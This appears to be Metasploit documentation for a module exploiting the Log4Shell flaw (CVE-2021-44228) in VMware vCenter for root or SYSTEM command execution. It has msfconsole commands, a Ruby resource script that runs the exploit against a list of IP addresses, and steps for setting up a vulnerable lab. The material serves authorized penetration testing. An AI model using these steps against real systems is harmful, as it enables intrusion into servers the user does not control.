Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-44228
This module is also known as Log4Shell or LogJam.
VMware vCenter Server is affected by the Log4Shell vulnerability whereby a JNDI string can sent to the server that will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS command execution in the context of the root user in the case of the Linux virtual appliance and SYSTEM on Windows. This module will start an LDAP server that the target will need to connect to. This exploit uses the logon page vector.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
Using vmware_vcenter_log4shell against a single host
Normally, you can use exploit/multi/http/vmware_vcenter_log4shell this way:
msf > use exploit/multi/http/vmware_vcenter_log4shell
msf exploit(vmware_vcenter_log4shell) > show targets
... a list of targets ...
msf exploit(vmware_vcenter_log4shell) > set TARGET target-id
msf exploit(vmware_vcenter_log4shell) > show options
... show and set options ...
msf exploit(vmware_vcenter_log4shell) > exploit
Using vmware_vcenter_log4shell against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your vmware_vcenter_log4shell will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/vmware_vcenter_log4shell")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)

Vulnerable Application
Description
VMware vCenter Server is affected by the Log4Shell vulnerability whereby a JNDI string can sent to the server that will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS command execution in the context of the root user in the case of the Linux virtual appliance and SYSTEM on Windows.
This module will start an LDAP server that the target will need to connect to. This exploit uses the logon page vector.
Setup
Once vCenter is installed, no configuration needs to take place. The application is vulnerable out of the box.
Linux Appliance
Follow the steps from the vmware_vcenter_uploadova_rce module.
In summary:
- Obtain a
VMware-VCSA-all-6.7.0-#####.isofile, the example will assume VMware-VCSA-all-6.7.0-11726888.iso. - Mount the ISO and extract the OVA file from under the
vcsadirectory. - Import it into VMware workstation, leave all options blank.
- When prompted to select a size, select tiny or small.
- The system will boot once, wait for a few minutes and then automatically reboot.
- Once the system has booted the second time, access the console to set the root password.
- Navigate to the HTTPS site on port 5480. The host IP address will be on the console.
- Complete the setup steps, when prompted use a public NTP server instead of synchronizing with the non-existent ESX server.
- Wait for setup to complete, and then exploit the service listening on port 443.
Windows Application
- Obtain a
VMware-VIM-all-6.7.0-#####.isofile. - Mount the file in a Windows server, (use Server 2016 not Server 2019).
- Run the setup file in the root of the CD.
- Complete the setup process.
- Wait for setup to complete, and then exploit the service listening on port 443.
Verification Steps
- Start msfconsole
- Do:
use exploit/multi/http/vmware_vcenter_log4shell - Set the
RHOSTS,TARGET,PAYLOAD, and payload associated options - Do:
run - If the target is vulnerable, the payload should be executed
